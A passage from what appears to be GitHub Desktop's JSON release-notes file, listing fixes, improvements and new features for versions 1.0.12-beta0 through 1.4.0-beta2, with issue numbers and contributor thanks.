publishing repository is now associated with the right tab - #5422. Thanks @Daniel-McCarthy!", "[Fixed] Disable affected menu items when on detached HEAD - #5500. Thanks @say25!", "[Fixed] Show border when commit description is expanded - #5506. Thanks @aryyya!", "[Fixed] GitLab URL which corresponds to GitHub repository of same name cloned GitHub repository - #4154", "[Improved] Avoid multiple lookups of default remote - #5399", "[Improved] Skip optional locks when checking status of repository - #5376" ], "1.4.0-beta2": [ "[New] When an update is available for GitHub Desktop, the release notes can be viewed in Desktop - #2774", "[New] Detect merge conflicts when comparing branches - #4588", "[Fixed] Avoid double checkout warning when opening a pull request in Desktop - #5375", "[Fixed] Error when publishing repository is now associated with the right tab - #5422. Thanks @Daniel-McCarthy!", "[Fixed] Disable affected menu items when on detached HEAD - #5500. Thanks @say25!", "[Fixed] Show border when commit description is expanded - #5506. Thanks @aryyya!", "[Fixed] GitLab URL which corresponds to GitHub repository of same name cloned GitHub repository - #4154", "[Improved] Avoid multiple lookups of default remote - #5399", "[Improved] Skip optional locks when checking status of repository - #5376" ], "1.4.0-beta1": [ "[New] When an update is available for GitHub Desktop, the release notes can be viewed in Desktop - #2774", "[New] Detect merge conflicts when comparing branches - #4588", "[Fixed] Avoid double checkout warning when opening a pull request in Desktop - #5375", "[Fixed] Error when publishing repository is now associated with the right tab - #5422. Thanks @Daniel-McCarthy!", "[Fixed] Disable affected menu items when on detached HEAD - #5500. Thanks @say25!", "[Fixed] Show border when commit description is expanded - #5506. Thanks @aryyya!", "[Fixed] GitLab URL which corresponds to GitHub repository of same name cloned GitHub repository - #4154", "[Improved] Avoid multiple lookups of default remote - #5399", "[Improved] Skip optional locks when checking status of repository - #5376" ], "1.4.0-beta0": [], "1.3.5": [ "[Fixed] Disable delete button while deleting a branch - #5331", "[Fixed] History now avoids calling log.showSignature if set in config - #5466", "[Fixed] Start blocking the ability to add local bare repositories - #4293. Thanks @Daniel-McCarthy!", "[Fixed] Revert workaround for tooltip issue on Windows - #3362. Thanks @divayprakash!", "[Improved] Error message when publishing to missing organisation - #5380. Thanks @Daniel-McCarthy!", "[Improved] Don't hide commit details when commit description is expanded. - #5471. Thanks @aryyya!" ], "1.3.5-beta1": [ "[Fixed] Disable delete button while deleting a branch - #5331", "[Fixed] History now avoids calling log.showSignature if set in config - #5466", "[Fixed] Start blocking the ability to add local bare repositories - #4293. Thanks @Daniel-McCarthy!", "[Fixed] Revert workaround for tooltip issue on Windows - #3362. Thanks @divayprakash!", "[Improved] Error message when publishing to missing organisation - #5380. Thanks @Daniel-McCarthy!", "[Improved] Don't hide commit details when commit summary description is expanded. - #5471. Thanks @aryyya!" ], "1.3.5-beta0": [], "1.3.4": [ "[Improved] Cloning message uses remote repo name not file destination - #5413. Thanks @lisavogtsf!", "[Improved] Support VSCode user scope installation - #5281. Thanks @saschanaz!" ], "1.3.4-beta1": [ "[Improved] Cloning message uses remote repo name not file destination - #5413. Thanks @lisavogtsf!", "[Improved] Support VSCode user scope installation - #5281. Thanks @saschanaz!" ], "1.3.4-beta0": [], "1.3.3": [ "[Fixed] Maximize and restore app on Windows does not fill available space - #5033", "[Fixed] 'Clone repository' menu item label is obscured on Windows - #5348. Thanks @Daniel-McCarthy!", "[Fixed] User can toggle files when commit is in progress - #5341. Thanks @masungwon!", "[Improved] Repository indicator background work - #5317 #5326 #5363 #5241 #5320" ], "1.3.3-beta1": [ "[Fixed] Maximize and restore app on Windows does not fill available space - #5033", "[Fixed] 'Clone repository' menu item label is obscured on Windows - #5348. Thanks @Daniel-McCarthy!", "[Fixed] User can toggle files when commit is in progress - #5341. Thanks @masungwon!", "[Improved] Repository indicator background work - #5317 #5326 #5363 #5241 #5320" ], "1.3.3-test6": ["Testing infrastructure changes"], "1.3.3-test5": ["Testing the new CircleCI config changes"], "1.3.3-test4": ["Testing the new CircleCI config changes"], "1.3.3-test3": ["Testing the new CircleCI config changes"], "1.3.3-test2": ["Testing the new CircleCI config changes"], "1.3.3-test1": ["Testing the new CircleCI config changes"], "1.3.2": [ "[Fixed] Bugfix for background checks not being aware of missing repositories - #5282", "[Fixed] Check the local state of a repository before performing Git operations - #5289", "[Fixed] Switch to history view for default branch when deleting current branch during a compare - #5256", "[Fixed] Handle missing .git directory inside a tracked repository - #5291" ], "1.3.2-beta1": [ "[Fixed] Bugfix for background checks not being aware of missing repositories - #5282", "[Fixed] Check the local state of a repository before performing Git operations - #5289", "[Fixed] Switch to history view for default branch when deleting current branch during a compare - #5256", "[Fixed] Handle missing .git directory inside a tracked repository - #5291" ], "1.3.1": [ "[Fixed] Background Git operations on missing repositories are not handled as expected - #5282" ], "1.3.1-beta1": [ "[Fixed] Background Git operations on missing repositories are not handled as expected - #5282" ], "1.3.1-beta0": [ "[New] Notification displayed in History tab when the base branch moves ahead of the current branch - #4768", "[New] Repository list displays uncommitted changes indicator and ahead/behind information - #2259 #5095", "[Added] Option to move repository to trash when removing from app - #2108. Thanks @say25!", "[Added] Syntax highlighting for PowerShell files - #5081. Thanks @say25!", "[Fixed] \"Discard Changes\" context menu discards correct file when entry is not part of selected group - #4788", "[Fixed] Display local path of selected repository as tooltip - #4922. Thanks @yongdamsh!", "[Fixed] Display root directory name when repository is located at drive root - #4924", "[Fixed] Handle legacy macOS right click gesture - #4942", "[Fixed] History omits latest commit from list - #5243", "[Fixed] Markdown header elements hard to read in dark mode - #5133. Thanks @agisilaos!", "[Fixed] Only perform ahead/behind comparisons when branch selector is open - #5142", "[Fixed] Relax checks for merge commits for GitHub Enterprise repositories - #4329", "[Fixed] Render clickable link in \"squash and merge\" commit message - #5203. Thanks @1pete!", "[Fixed] Return key disabled when no matches found in Compare branch list - #4458", "[Fixed] Selected commit not remembered when switching between History and Changes tabs - #4985", "[Fixed] Selected commit when comparing is reset to latest when Desktop regains focus - #5069", "[Fixed] Support default branch detection for non-GitHub repositories - #4937", "[Improved] Change primary button color to blue for dark theme - #5074", "[Improved] Diff gutter elements should be considered button elements when interacting - #5158", "[Improved] Status parsing significantly more performant when handling thousands of changed files - #2449 #5186" ], "1.3.0": [ "[New] Notification displayed in History tab when the base branch moves ahead of the current branch - #4768", "[New] Repository list displays uncommitted changes indicator and ahead/behind information - #2259 #5095", "[Added] Option to move repository to trash when removing from app - #2108. Thanks @say25!", "[Added] Syntax highlighting for PowerShell files - #5081. Thanks @say25!", "[Fixed] \"Discard Changes\" context menu discards correct file when entry is not part of selected group - #4788", "[Fixed] Display local path of selected repository as tooltip - #4922. Thanks @yongdamsh!", "[Fixed] Display root directory name when repository is located at drive root - #4924", "[Fixed] Handle legacy macOS right click gesture - #4942", "[Fixed] History omits latest commit from list - #5243", "[Fixed] Markdown header elements hard to read in dark mode - #5133. Thanks @agisilaos!", "[Fixed] Only perform ahead/behind comparisons when branch selector is open - #5142", "[Fixed] Relax checks for merge commits for GitHub Enterprise repositories - #4329", "[Fixed] Render clickable link in \"squash and merge\" commit message - #5203. Thanks @1pete!", "[Fixed] Return key disabled when no matches found in Compare branch list - #4458", "[Fixed] Selected commit not remembered when switching between History and Changes tabs - #4985", "[Fixed] Selected commit when comparing is reset to latest when Desktop regains focus - #5069", "[Fixed] Support default branch detection for non-GitHub repositories - #4937", "[Improved] Change primary button color to blue for dark theme - #5074", "[Improved] Diff gutter elements should be considered button elements when interacting - #5158", "[Improved] Status parsing significantly more performant when handling thousands of changed files - #2449 #5186" ], "1.3.0-beta7": [], "1.3.0-beta6": [], "1.3.0-beta5": [ "[Fixed] Ensure commit message is cleared after successful commit - #4046", "[Fixed] History omits latest commit from list - #5243" ], "1.3.0-beta4": [ "[Fixed] Only perform ahead/behind comparisons when branch selector is open - #5142", "[Fixed] Render clickable link in \"squash and merge\" commit message - #5203. Thanks @1pete!", "[Fixed] Selected commit not remembered when switching between History and Changes tabs - #4985", "[Fixed] Selected commit when comparing is reset to latest when Desktop regains focus - #5069" ], "1.3.0-beta3": [ "[Fixed] \"Discard Changes\" context menu discards correct file when entry is not part of selected group - #4788", "[Fixed] Return key disabled when no matches found in Compare branch list - #4458", "[Improved] Status parsing significantly more performant when handling thousands of changed files - #2449 #5186" ], "1.3.0-beta2": [ "[Added] Option to move repository to trash when removing from app - #2108. Thanks @say25!", "[Fixed] Markdown header elements hard to read in dark mode - #5133. Thanks @agisilaos!", "[Improved] Diff gutter elements should be considered button elements when interacting - #5158" ], "1.2.7-test3": ["Test deployment for electron version bump."], "1.3.0-beta1": [ "[New] Notification displayed in History tab when the base branch moves ahead of the current branch - #4768", "[New] Repository list displays uncommitted changes count and ahead/behind information - #2259", "[Added] Syntax highlighting for PowerShell files- #5081. Thanks @say25!", "[Fixed] Display something when repository is located at drive root - #4924", "[Fixed] Relax checks for merge commits for GitHub Enterprise repositories - #4329", "[Fixed] Display local path of selected repository as tooltip - #4922. Thanks @yongdamsh!", "[Fixed] Support default branch detection for non-GitHub repositories - #4937", "[Fixed] Handle legacy macOS right click gesture - #4942", "[Improved] Repository list badge style tweaks and tweaks for dark theme - #5095", "[Improved] Change primary button color to blue for dark theme - #5074" ], "1.2.7-test2": ["Test deployment for electron version bump."], "1.2.7-test1": ["Sanity check deployment for refactored scripts"], "1.2.7-beta0": [ "[Fixed] Visual indicator for upcoming feature should not be shown - #5026" ], "1.2.6": [ "[Fixed] Visual indicator for upcoming feature should not be shown - #5026" ], "1.2.6-beta0": [ "[Fixed] Feature flag for upcoming feature not applied correctly - #5024" ], "1.2.5": [ "[Fixed] Feature flag for upcoming feature not applied correctly - #5024" ], "1.2.4": [ "[New] Dark Theme preview - #4849", "[Added] Syntax highlighting for Cake files - #4935. Thanks @say25!", "[Added] WebStorm support for macOS - #4841. Thanks @mrsimonfletcher!", "[Fixed] Compare tab appends older commits when scrolling to bottom of list - #4964", "[Fixed] Remove temporary directory after Git LFS operation completes - #4414", "[Fixed] Unable to compare when two branches exist - #4947 #4730", "[Fixed] Unhandled errors when refreshing pull requests fails - #4844 #4866", "[Improved] Remove context menu needs to hint if a dialog will be shown - #4975", "[Improved] Upgrade embedded Git LFS - #4602 #4745", "[Improved] Update banner message clarifies that only Desktop needs to be restarted - #4891. Thanks @KennethSweezy!", "[Improved] Discard Changes context menu entry should contain ellipses when user needs to confirm - #4846. Thanks @yongdamsh!", "[Improved] Initializing syntax highlighting components - #4764", "[Improved] Only show overflow shadow when description overflows - #4898", "[Improved] Changes tab displays number of changed files instead of dot - #4772. Thanks @yongdamsh!" ], "1.2.4-beta5": [], "1.2.4-beta4": [ "[Fixed] Compare tab appends older commits when scrolling to bottom of list - #4964", "[Fixed] Remove temporary directory after Git LFS operation completes - #4414", "[Improved] Remove context menu needs to hint if a dialog will be shown - #4975", "[Improved] Upgrade embedded Git LFS - #4602 #4745" ], "1.2.4-test1": [ "Confirming latest Git LFS version addresses reported issues" ], "1.2.4-beta3": [ "[Added] WebStorm support for macOS - #4841. Thanks @mrsimonfletcher!", "[Improved] Update banner message clarifies that only Desktop needs to be restarted - #4891. Thanks @KennethSweezy!" ], "1.2.4-beta2": [], "1.2.4-beta1": [ "[New] Dark Theme preview - #4849", "[Added] Syntax highlighting for Cake files - #4935. Thanks @say25!", "[Fixed] Unable to compare when two branches exist - #4947 #4730", "[Fixed] Unhandled errors when refreshing pull requests fails - #4844 #4866", "[Improved] Discard Changes context menu entry should contain ellipses when user needs to confirm - #4846. Thanks @yongdamsh!", "[Improved] Initializing syntax highlighting components - #4764", "[Improved] Only show overflow shadow when description overflows - #4898", "[Improved] Changes tab displays number of changed files instead of dot - #4772. Thanks @yongdamsh!" ], "1.2.3": [ "[Fixed] No autocomplete when searching for co-authors - #4847", "[Fixed] Error when checking out a PR from a fork - #4842" ], "1.2.3-beta1": [ "[Fixed] No autocomplete when searching for co-authors - #4847", "[Fixed] Error when checking out a PR from a fork - #4842" ], "1.2.3-test1": [ "Confirming switch from uglify-es to babel-minify addresses minification issue - #4871" ], "1.2.2": [ "[Fixed] Make cURL/schannel default to using the Windows certificate store - #4817", "[Fixed] Restore text selection highlighting in diffs - #4818" ], "1.2.2-beta1": [ "[Fixed] Make cURL/schannel default to using the Windows certificate store - #4817", "[Fixed] Text selection highlighting in diffs is back - #4818" ], "1.2.1": [ "[Added] Brackets support for macOS - #4608. Thanks @3raxton!", "[Added] Pull request number and author are included in fuzzy-find filtering - #4653. Thanks @damaneice!", "[Fixed] Decreased the max line length limit - #3740. Thanks @sagaragarwal94!", "[Fixed] Updated embedded Git to 2.17.1 to address upstream security issue - #4791", "[Improved] Display the difference in file size of an image in the diff view - #4380. Thanks @ggajos!" ], "1.2.1-test1": ["Upgraded embedded Git to 2.17.0"], "1.2.1-beta1": [ "[Added] Brackets support for macOS - #4608. Thanks @3raxton!", "[Added] Pull request number and author are included in fuzzy-find filtering - #4653. Thanks @damaneice!", "[Fixed] Decreased the max line length limit - #3740. Thanks @sagaragarwal94!", "[Fixed] Updated embedded Git to 2.17.1 to address upstream security issue - #4791", "[Improved] Display the difference in file size of an image in the diff view - #4380. Thanks @ggajos!" ], "1.2.1-beta0": [], "1.1.2-test6": ["Testing the Webpack v4 output from the project"], "1.2.0": [ "[New] History now has ability to compare to another branch and merge outstanding commits", "[New] Support for selecting more than one file in the changes list - #1712. Thanks @icosamuel!", "[New] Render bitmap images in diffs - #4367. Thanks @MagicMarvMan!", "[Added] Add PowerShell Core support for Windows and macOS - #3791. Thanks @saschanaz!", "[Added] Add MacVim support for macOS - #4532. Thanks @johnelliott!", "[Added] Syntax highlighting for JavaServer Pages (JSP) - #4470. Thanks @damaneice!", "[Added] Syntax highlighting for Haxe files - #4445. Thanks @Gama11!", "[Added] Syntax highlighting for R files - #4455. Thanks @say25!", "[Fixed] 'Open in Shell' on Linux ensures Git is on PATH - #4619. Thanks @ziggy42!", "[Fixed] Pressing 'Enter' on filtered Pull Request does not checkout - #4673", "[Fixed] Alert icon shrinks in rename dialog when branch name is long - #4566", "[Fixed] 'Open in Desktop' performs fetch to ensure branch exists before checkout - #3006", "[Fixed] 'Open in Default Program' on Windows changes the window title - #4446", "[Fixed] Skip fast-forwarding when there are many eligible local branches - #4392", "[Fixed] Image diffs not working for files with upper-case file extension - #4466", "[Fixed] Syntax highlighting not working for files with upper-case file extension - #4462. Thanks @say25!", "[Fixed] Error when creating Git LFS progress causes clone to fail - #4307. Thanks @MagicMarvMan!", "[Fixed] 'Open File in External Editor' always opens a new instance - #4381", "[Fixed] 'Select All' shortcut now works for changes list - #3821", "[Improved] Automatically add valid repository when using command line interface - #4513. Thanks @ggajos!", "[Improved] Always fast-forward the default branch - #4506", "[Improved] Warn when trying to rename a published branch - #4035. Thanks @agisilaos!", "[Improved] Added context menu for files in commit history - #2845. Thanks @crea7or", "[Improved] Discarding all changes always prompts for confirmation - #4459", "[Improved] Getting list of changed files is now more efficient when dealing with thousands of files - #4443", "[Improved] Checking out a Pull Request may skip unnecessary fetch - #4068. Thanks @agisilaos!", "[Improved] Commit summary now has a hint to indicate why committing is disabled - #4429.", "[Improved] Pull request status text now matches format on GitHub - #3521", "[Improved] Add escape hatch to disable hardware acceleration when launching - #3921" ], "1.1.2-beta7": [], "1.1.2-beta6": [ "[Added] Add MacVim support for macOS - #4532. Thanks @johnelliott!", "[Fixed] Open in Shell on Linux ensures Git is available on the user's PATH - #4619. Thanks @ziggy42!", "[Fixed] Keyboard focus issues when navigating Pull Request list - #4673", "[Improved] Automatically add valid repository when using command line interface - #4513. Thanks @ggajos!" ], "1.1.2-test5": ["Actually upgrading fs-extra to v6 in the app"], "1.1.2-test4": ["Upgrading fs-extra to v6"], "1.1.2-beta5": [ "[Added] Syntax highlighting for JavaServer Pages (JSP) - #4470. Thanks @damaneice!", "[Fixed] Prevent icon from shrinking in rename dialog - #4566" ], "1.1.2-beta4": [ "[New] New Compare tab allowing visualization of the relationship between branches", "[New] Support for selecting more than one file in the changes list - #1712. Thanks @icosamuel!", "[Fixed] 'Select All' shortcut now works for changes list - #3821", "[Improved] Always fast-forward the default branch - #4506", "[Improved] Warn when trying to rename a published branch - #4035. Thanks @agisilaos!", "[Improved] Added context menu for files in commit history - #2845. Thanks @crea7or", "[Improved] Discarding all changes always prompts for confirmation - #4459" ], "1.1.2-beta3": [ "[Added] Syntax highlighting for Haxe files - #4445. Thanks @Gama11!", "[Added] Syntax highlighting for R files - #4455. Thanks @say25!", "[Fixed] Fetch to ensure \"Open in Desktop\" has a branch to checkout - #3006", "[Fixed] Handle the click event when opening a binary file - #4446", "[Fixed] Skip fast-forwarding when there are a lot of eligible local branches - #4392", "[Fixed] Image diffs not working for files with upper-case file extension - #4466", "[Fixed] Syntax highlighting not working for files with upper-case file extension - #4462. Thanks @say25!", "[Improved] Getting list of changed files is now more efficient when dealing with thousands of files - #4443", "[Improved] Checking out a Pull Request may skip unnecessary fetch - #4068. Thanks @agisilaos!", "[Improved] Commit summary now has a hint to indicate why committing is disabled - #4429." ], "1.1.2-test3": ["[New] Comparison Branch demo build"], "1.1.2-test2": [ "Refactoring the diff internals to potentially land some SVG improvements" ], "1.1.2-test1": [ "Refactoring the diff internals to potentially land some SVG improvements" ], "1.1.2-beta2": [ "[New] Render bitmap images in diffs - #4367. Thanks @MagicMarvMan!", "[New] Add PowerShell Core support for Windows and macOS - #3791. Thanks @saschanaz!", "[Fixed] Error when creating Git LFS progress causes clone to fail - #4307. Thanks @MagicMarvMan!", "[Fixed] 'Open File in External Editor' does not use existing window - #4381", "[Fixed] Always ask for confirmation when discarding all changes - #4423", "[Improved] Pull request status text now matches format on GitHub - #3521", "[Improved] Add escape hatch to disable hardware acceleration when launching - #3921" ], "1.1.2-beta1": [], "1.1.1": [ "[New] Render WebP images in diffs - #4164. Thanks @agisilaos!", "[Fixed] Edit context menus in commit form input elements - #3886", "[Fixed] Escape behavior for Pull Request list does not match Branch List - #3597", "[Fixed] Keep caret position after inserting completion for emoji/mention - #3835. Thanks @CarlRosell!", "[Fixed] Handle error events when watching files used to get Git LFS output - #4117", "[Fixed] Potential race condition when opening a fork pull request - #4149", "[Fixed] Show placeholder image when no pull requests found - #3973", "[Fixed] Disable commit summary and description inputs while commit in progress - #3893. Thanks @crea7or!", "[Fixed] Ensure pull request cache is cleared after last pull request merged - #4122", "[Fixed] Focus two-factor authentication dialog on input - #4220. Thanks @WaleedAshraf!", "[Fixed] Branches button no longer disabled while on an unborn branch - #4236. Thanks @agisilaos!", "[Fixed] Delete gitignore file when all entries cleared in Repository Settings - #1896", "[Fixed] Add visual indicator that a folder can be dropped on Desktop - #4004. Thanks @agisilaos!", "[Fixed] Attempt to focus the application window on macOS after signing in via the browser - #4126", "[Fixed] Refresh issues when user manually fetches - #4076", "[Improved] Add `Discard All Changes...` to context menu on changed file list - #4197. Thanks @xamm!", "[Improved] Improve contrast for button labels in app toolbar - #4219", "[Improved] Speed up check for submodules when discarding - #4186. Thanks @kmscode!", "[Improved] Make the keychain known issue more clear within Desktop - #4125", "[Improved] Continue past the 'diff too large' message and view the diff - #4050", "[Improved] Repository association might not have expected prefix - #4090. Thanks @mathieudutour!", "[Improved] Add message to gitignore dialog when not on default branch - #3720", "[Improved] Hide Desktop-specific forks in Branch List - #4127", "[Improved] Disregard accidental whitespace when cloning a repository by URL - #4216", "[Improved] Show alert icon in repository list when repository not found on disk - #4254. Thanks @gingerbeardman!", "[Improved] Repository list now closes after removing last repository - #4269. Thanks @agisilaos!", "[Improved] Move forget password link after the password dialog to match expected tab order - #4283. Thanks @iamnapo!", "[Improved] More descriptive text in repository toolbar button when no repositories are tracked - #4268. Thanks @agisilaos!", "[Improved] Context menu in Changes tab now supports opening file in your preferred editor - #4030" ], "1.1.1-beta4": [ "[Improved] Context menu in Changes tab now supports opening file in your preferred editor - #4030" ], "1.1.1-beta3": [], "1.1.1-beta2": [ "[New] Render WebP images in diffs - #4164. Thanks @agisilaos!", "[Fixed] Edit context menus in commit form input elements - #3886", "[Fixed] Escape behavior should match that of Branch List - #3972", "[Fixed] Keep caret position after inserting completion - #3835. Thanks @CarlRosell!", "[Fixed] Handle error events when watching files used to get Git LFS output - #4117", "[Fixed] Potential race condition when opening a fork pull request - #4149", "[Fixed] Show placeholder image when no pull requests found - #3973", "[Fixed] Disable input fields summary and description while commit in progress - #3893. Thanks @crea7or!", "[Fixed] Ensure pull request cache is cleared after last pull request merged - #4122", "[Fixed] Focus two-factor authentication dialog on input - #4220. Thanks @WaleedAshraf!", "[Fixed] Branches button no longer disabled while on an unborn branch - #4236. Thanks @agisilaos!", "[Fixed] Delete gitignore file when entries cleared in Repository Settings - #1896", "[Fixed] Add visual indicator that a folder can be dropped on Desktop - #4004. Thanks @agisilaos!", "[Improved] Add `Discard All Changes...` to context menu on changed file list - #4197. Thanks @xamm!", "[Improved] Improve contrast for button labels in app toolbar - #4219", "[Improved] Speed up check for submodules when discarding - #4186. Thanks @kmscode!", "[Improved] Make the keychain known issue more clear within Desktop - #4125", "[Improved] Continue past the 'diff too large' message and view the diff - #4050", "[Improved] Repository association might not have expected prefix - #4090. Thanks @mathieudutour!", "[Improved] Add message to gitignore dialog when not on default branch - #3720", "[Improved] Hide Desktop-specific forks in Branch List - #4127", "[Improved] Disregard accidental whitespace when cloning a repository by URL - #4216", "[Improved] Show alert icon in repository list when repository not found on disk - #4254. Thanks @gingerbeardman!", "[Improved] Repository list now closes after removing last repository - #4269. Thanks @agisilaos!", "[Improved] Move forget password link to after the password dialog to maintain expected tab order - #4283. Thanks @iamnapo!", "[Improved] More descriptive text in repository toolbar button when no repositories are tracked - #4268. Thanks @agisilaos!" ], "1.1.1-test2": ["[Improved] Electron 1.8.3 upgrade (again)"], "1.1.1-test1": [ "[Improved] Forcing a focus on the window after the OAuth dance is done" ], "1.1.1-beta1": [], "1.1.0": [ "[New] Check out pull requests from collaborators or forks from within Desktop", "[New] View the commit status of the branch when it has an open pull request", "[Added] Add RubyMine support for macOS - #3883. Thanks @gssbzn!", "[Added] Add TextMate support for macOS - #3910. Thanks @caiofbpa!", "[Added] Syntax highlighting for Elixir files - #3774. Thanks @joaovitoras!", "[Fixed] Update layout of branch blankslate image - #4011", "[Fixed] Expanded avatar stack in commit summary gets cut off - #3884", "[Fixed] Clear repository filter when switching tabs - #3787. Thanks @reyronald!", "[Fixed] Avoid crash when unable to launch shell - #3954", "[Fixed] Ensure renames are detected when viewing commit diffs - #3673", "[Fixed] Fetch default remote if it differs from the current - #4056", "[Fixed] Handle Git errors when .gitmodules are malformed - #3912", "[Fixed] Handle error when \"where\" is not on PATH - #3882 #3825", "[Fixed] Ignore action assumes CRLF when core.autocrlf is unset - #3514", "[Fixed] Prevent duplicate entries in co-author autocomplete list - #3887", "[Fixed] Renames not detected when viewing commit diffs - #3673", "[Fixed] Support legacy usernames as co-authors - #3897", "[Improved] Update branch button text from \"New\" to \"New Branch\" - #4032", "[Improved] Add fuzzy search in the repository, branch, PR, and clone FilterLists - #911. Thanks @j-f1!", "[Improved] Tidy up commit summary and description layout in commit list - #3922. Thanks @willnode!", "[Improved] Use smaller default size when rendering Gravatar avatars - #3911", "[Improved] Show fetch progress when initializing remote for fork - #3953", "[Improved] Remove references to Hubot from the user setup page - #4015. Thanks @j-f1!", "[Improved] Error handling around ENOENT - #3954", "[Improved] Clear repository filter text when switching tabs - #3787. Thanks @reyronald!", "[Improved] Allow window to accept single click on focus - #3843", "[Improved] Disable drag-and-drop interaction when a popup is in the foreground - #3996" ], "1.1.0-beta3": [ "[Fixed] Fetch default remote if it differs from the current - #4056" ], "1.1.0-beta2": [ "[Improved] Update embedded Git to improve error handling when using stdin - #4058" ], "1.1.0-beta1": [ "[Improved] Add 'Branch' to 'New' branch button - #4032", "[Improved] Remove references to Hubot from the user setup page - #4015. Thanks @j-f1!" ], "1.0.14-beta5": [ "[Fixed] Improve detection of pull requests associated with current branch - #3991", "[Fixed] Disable drag-and-drop interaction when a popup is in the foreground - #3996", "[Fixed] Branch blank slate image out of position - #4011" ], "1.0.14-beta4": [ "[New] Syntax highlighting for Elixir files - #3774. Thanks @joaovitoras!", "[Fixed] Crash when unable to launch shell - #3954", "[Fixed] Support legacy usernames as co-authors - #3897", "[Improved] Enable fuzzy search in the repository, branch, PR, and clone FilterLists - #911. Thanks @j-f1!", "[Improved] Tidy up commit summary and description layout in commit list - #3922. Thanks @willnode!" ], "1.0.14-test1": ["[Improved] Electron 1.8.2 upgrade"], "1.0.14-beta3": [ "[Added] Add TextMate support for macOS - #3910. Thanks @caiofbpa!", "[Fixed] Handle Git errors when .gitmodules are malformed - #3912", "[Fixed] Clear repository filter when switching tabs - #3787. Thanks @reyronald!", "[Fixed] Prevent duplicate entries in co-author autocomplete list - #3887", "[Improved] Show progress when initializing remote for fork - #3953" ], "1.0.14-beta2": [ "[Added] Add RubyMine support for macOS - #3883. Thanks @gssbzn!", "[Fixed] Allow window to accept single click on focus - #3843", "[Fixed] Expanded avatar list hidden behind commit details - #3884", "[Fixed] Renames not detected when viewing commit diffs - #3673", "[Fixed] Ignore action assumes CRLF when core.autocrlf is unset - #3514", "[Improved] Use smaller default size when rendering Gravatar avatars - #3911" ], "1.0.14-beta1": ["[New] Commit together with co-authors - #3879"], "1.0.13": [ "[New] Commit together with co-authors - #3879", "[New] PhpStorm is now a supported external editor on macOS - #3749. Thanks @hubgit!", "[Improved] Update embedded Git to 2.16.1 - #3617 #3828 #3871", "[Improved] Blank slate view is now more responsive when zoomed - #3777", "[Improved] Documentation fix for Open in Shell resource - #3799. Thanks @saschanaz!", "[Improved] Improved error handling for Linux - #3732", "[Improved] Allow links in unexpanded summary to be clickable - #3719. Thanks @koenpunt!", "[Fixed] Update Electron to 1.7.11 to address security issue - #3846", "[Fixed] Allow double dashes in branch name - #3599. Thanks @JQuinnie!", "[Fixed] Sort the organization list - #3657. Thanks @j-f1!", "[Fixed] Check out PRs from a fork - #3395", "[Fixed] Confirm deleting branch when it has an open PR - #3615", "[Fixed] Defer user/email validation in Preferences - #3722", "[Fixed] Checkout progress did not include branch name - #3780", "[Fixed] Don't block branch switching when in detached HEAD - #3807", "[Fixed] Handle discarding submodule changes properly - #3647", "[Fixed] Show tooltip with additional info about the build status - #3134", "[Fixed] Update placeholders to support Linux distributions - #3150", "[Fixed] Refresh local commit list when switching tabs - #3698" ], "1.0.13-test1": [ "[Improved] Update embedded Git to 2.16.1 - #3617 #3828 #3871", "[Fixed] Update Electron to 1.7.11 to address security issue - #3846", "[Fixed] Allows double dashes in branch name - #3599. Thanks @JQuinnie!", "[Fixed] Pull Request store may not have status defined - #3869", "[Fixed] Render the Pull Request badge when no commit statuses found - #3608" ], "1.0.13-beta1": [ "[New] PhpStorm is now a supported external editor on macOS - #3749. Thanks @hubgit!", "[Improved] Blank slate view is now more responsive when zoomed - #3777", "[Improved] Documentation fix for Open in Shell resource - #3799. Thanks @saschanaz!", "[Improved] Improved error handling for Linux - #3732", "[Improved] Allow links in unexpanded summary to be clickable - #3719. Thanks @koenpunt!", "[Fixed] Sort the organization list - #3657. Thanks @j-f1!", "[Fixed] Check out PRs from a fork - #3395", "[Fixed] Confirm deleting branch when it has an open PR - #3615", "[Fixed] Defer user/email validation in Preferences - #3722", "[Fixed] Checkout progress did not include branch name - #3780", "[Fixed] Don't block branch switching when in detached HEAD - #3807", "[Fixed] Handle discarding submodule changes properly - #3647", "[Fixed] Show tooltip with additional info about the build status - #3134", "[Fixed] Update placeholders to support Linux distributions - #3150", "[Fixed] Refresh local commit list when switching tabs - #3698" ], "1.0.12": [ "[New] Syntax highlighting for Rust files - #3666. Thanks @subnomo!", "[New] Syntax highlighting for Clojure cljc, cljs, and edn files - #3610. Thanks @mtkp!", "[Improved] Prevent creating a branch in the middle of a merge - #3733", "[Improved] Truncate long repo names in panes and modals to fit into a single line - #3598. Thanks @http-request!", "[Improved] Keyboard navigation support in pull request list - #3607", "[Fixed] Inconsistent caret behavior in text boxes when using certain keyboard layouts - #3354", "[Fixed] Only render the organizations list when it has orgs - #1414", "[Fixed] Checkout now handles situations where a ref exists on multiple remotes - #3281", "[Fixed] Retain accounts on desktop when losing connectivity - #3641", "[Fixed] Missing argument in FullScreenInfo that could prevent app from launching - #3727. Thanks @OiYouYeahYou!" ], "1.0.12-beta1": [ "[New] Syntax highlighting for Rust files - #3666. Thanks @subnomo!", "[New] Syntax highlighting for Clojure cljc, cljs, and edn files - #3610. Thanks @mtkp!", "[Improved] Prevent creating a branch in the middle of a merge - #3733", "[Improved] Truncate long repo names in panes and modals to fit into a single line - #3598. Thanks @http-request!", "[Improved] Keyboard navigation support in pull request list - #3607", "[Fixed] Inconsistent caret behavior in text boxes when using certain keyboard layouts - #3354", "[Fixed] Only render the organizations list when it has orgs - #1414", "[Fixed] Checkout now handles situations where a ref exists on multiple remotes - #3281", "[Fixed] Retain accounts on desktop when losing connectivity - #3641", "[Fixed] Missing argument in FullScreenInfo that could prevent app from launching - #3727. Thanks @OiYouYeahYou!" ], "1.0.12-beta0": [ "[New] Highlight substring matches in the \"Branches\" and \"Repositories\" list when filtering - #910. Thanks @JordanMussi!", "[New] Add preview for ico files - #3531. Thanks @serhiivinichuk!", "[New] Fallback to Gravatar for loading avatars - #821", "[New] Provide syntax highlighting for Visual Studio project files - #3552. Thanks @saul!", "[New] Provide syntax highlighting for F# fsx and fsi files - #3544. Thanks @saul!", "[New] Provide syntax highlighting for Kotlin files - #3555. Thanks @ziggy42!", "[New] Provide syntax highlighting for Clojure - #3523. Thanks @mtkp!", "[Improved] Toggle the \"Repository List\" from the menu - #2638. Thanks @JordanMussi!", "[Improved] Prevent saving of disallowed character strings for your name and email - #3204", "[Improved] Error messages now appear at the top of the \"Create a New Repository\" dialog - #3571. Thanks @http-request!", "[Improved] \"Repository List\" header is now \"Github.com\" for consistency - #3567. Thanks @iFun!", "[Improved] Rename the \"Install Update\" button to \"Quit and Install Update\" - #3494. 